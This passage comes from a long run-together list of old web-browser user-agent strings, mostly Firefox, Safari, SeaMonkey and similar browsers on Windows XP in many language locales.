rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1 MEGAUPLOAD 1.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.10) Gecko/20071115 Firefox/2.0.0.10 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.16) Gecko/20080831 Firefox/2.0.0.16 Flock/1.2.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.17pre) Gecko/20080716 K-Meleon/1.5.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.18) Gecko/20081029 Firefox/2.0.0.18 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.18) Gecko/20081031 SeaMonkey/1.1.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.19) Gecko/20081204 SeaMonkey/1.1.14 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.19) Gecko/20081217 K-Meleon/1.5.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.21) Gecko/20090331 K-Meleon/1.5.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.5) Gecko/20070716 SeaMonkey/1.1.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 MEGAUPLOAD 2.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.8) Gecko/20071008 Firefox/2.0.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9) Gecko/2008051206 Firefox/3.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9) Gecko/2008052906 Firefox/3.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9) Gecko/2008052906 Firefox/3.0 GTB6 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.16) Gecko/2009120208 Firefox/3.0.16 FBSMTWB Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.7 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.7) Gecko/2009021910 Firefox/2.0.0.11 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.7) Gecko/2009021910 Firefox/2.0.0.11;MEGAUPLOAD 1.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 FirePHP/0.2.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.1.7) Gecko/20100111 Thunderbird/3.0.1 ThunderBrowse/3.2.8.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; es; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; et; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; et; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; eu-ES; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; eu; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; fa; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; fi) AppleWebKit/522.11.3 (KHTML, like Gecko) Version/3.0 Safari/522.11.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; fi-FI) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; fi-FI; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; fi-FI; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; fi; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; fi; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 Mozilla/5.0 (Windows; U; Windows NT 5.1; fi; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; fi; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; fi; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; fi; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; fi; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; fi; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12 Mozilla/5.0 (Windows; U; Windows NT 5.1; fi; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; fi; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; fi; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; fi; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; fi; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; fi; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; fi; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr) AppleWebKit/522.15.5 (KHTML, like Gecko) Version/3.0.3 Safari/522.15.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-BE) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3) Arora/0.3 (Change: 287 c9dfb30) Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-BE; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR) AppleWebKit/523.15 (KHTML, like Gecko) Version/3.0 Safari/523.15 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR) AppleWebKit/525.19 (KHTML, like Gecko) Version/3.1.2 Safari/525.21 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR) AppleWebKit/525.28 (KHTML, like Gecko) Version/3.2.2 Safari/525.28.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR) AppleWebKit/534.16 (KHTML, like Gecko) Iron/10.0.650.0 Chrome/10.0.650.0 Safari/534.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:0.9.2) Gecko/20010726 Netscape6/6.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:0.9.4) Gecko/20011128 Netscape6/6.2.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.0.0) Gecko/20020530 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.0.1) Gecko/20020823 Netscape/7.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.0.2) Gecko/20021120 Netscape/7.01 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.0.2) Gecko/20030208 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.0.2) Gecko/20030208 Netscape/7.02 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.0rc2) Gecko/20020512 Netscape/7.0b1 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.2.1) Gecko/20021130 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.6) Gecko/20040113 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.7.10) Gecko/20050716 Firefox/1.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.7.10) Gecko/20050717 Firefox/1.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.7.11) Gecko/20050728 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.7.12) Gecko/20050915 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 (ax) Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.7.3) Gecko/20040910 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.7.5) Gecko/20041108 Firefox/1.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.7.5) Gecko/20041206 Thunderbird/1.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.7.6) Gecko/20050226 Firefox/1.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.7.6) Gecko/20050318 Firefox/1.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.7.6) Gecko/20050319 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.7.7) Gecko/20050414 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.7.8) Gecko/20050511 Firefox/1.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.8) Gecko/20051107 Firefox/1.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.8) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.8.1.14) Gecko/20080406 K-Meleon/1.1.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.8.1.17) Gecko/20080919 K-Meleon/1.5.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.8.1.21) Gecko/20090331 K-Meleon/1.5.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.8.1.21) Gecko/20090403 SeaMonkey/1.1.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.8.1.23) Gecko/20090825 K-Meleon/1.5.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.8.1.2pre) Gecko/20070111 SeaMonkey/1.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-be; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.3.1) Gecko/20030425 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.6) Gecko/20040206 Firefox/0.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.7) Gecko/20040707 Firefox/0.9.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.7) Gecko/20040803 Firefox/0.9.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.7.12) Gecko/20050915 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.7.2) Gecko/20040803 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.7.3) Gecko/20040910 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.7.8) Gecko/20050511 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8) Gecko/20051107 Firefox/1.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.12 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.0.14) Gecko/20071210 Thunderbird/1.5.0.14 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.0.7) Gecko/20060917 K-Meleon/1.02 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1) VoilaBot BETA 1.2 (support.voilabot@orange-ftgroup.com) Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.10) Gecko/20071115 Firefox/2.0.0.10 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.12) Gecko/20080201 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13 (.NET CLR 3.0.04506.30) Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.16) Gecko/20080708 Thunderbird/2.0.0.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.17) Gecko/20080914 Thunderbird/2.0.0.17 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.18) Gecko/20081029 Firefox/2.0.0.18 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.2) Gecko/20070222 SeaMonkey/1.1.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.21) Gecko/20090302 Thunderbird/2.0.0.21 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.2pre) Gecko/20070111 SeaMonkey/1.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.3C Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.8) Gecko/20071008 Firefox/2.0.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1 (.NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1 FirePHP/0.1.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19 ( .NET CLR 3.5.30729; .NET4.0C) Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6;MEGAUPLOAD 1.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.5;MEGAUPLOAD 1.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 FirePHP/0.2.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.5;MEGAUPLOAD 1.0 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 FirePHP/0.2.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.9) Gecko/2009040821 Firefox/2.0.0.11;MEGAUPLOAD 1.0 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 GTB5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1.14) Gecko/20100930 SeaMonkey/2.0.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 1.1.4322) Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.2.13) Gecko/20101203 AskTbUT2V5/3.9.1.14019 Firefox/3.6.13 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.2.13) Gecko/20101203 Mozilla/5.O(Android;Linux armv7l;rv:2.1) Gecko/20110318 Firefox/4.0b13pre Fennec/4.0 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.2.13) Gecko/20101203 iPhone Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.2.13) Gecko/20101220 Firefox/3.6.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.2.17) Gecko/20110420 Firefox/3.6.17 ( .NET CLR 3.5.30729; .NET4.0E) Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.2b4) Gecko/20091124 Firefox/3.6b4 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.2b5) Gecko/20091204 Firefox/3.6b5 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5 Mozilla/5.0 (Windows; U; Windows NT 5.1; he-IL; rv:1.7.10) Gecko/20050717 Firefox/1.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; he-IL; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; he; rv:1.8) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; he; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; he; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12 Mozilla/5.0 (Windows; U; Windows NT 5.1; he; rv:1.8.1.8) Gecko/20071008 Firefox/2.0.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; he; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; he; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 GTB6 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; he; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; hr) AppleWebKit/522.11.3 (KHTML, like Gecko) Version/3.0 Safari/522.11.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; hu-HU) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; hu-HU; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; hu-HU; rv:1.7.8) Gecko/20050511 Firefox/1.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; hu-HU; rv:1.8.1.21) Gecko/20090331 K-Meleon/1.5.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.6) Gecko/20040113 Mozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.8) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 Mozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.8.1.10) Gecko/20071115 Firefox/2.0.0.10 Mozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12 Mozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.8.1.8) Gecko/20071008 Firefox/2.0.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.9.0.5) Gecko/2008120122 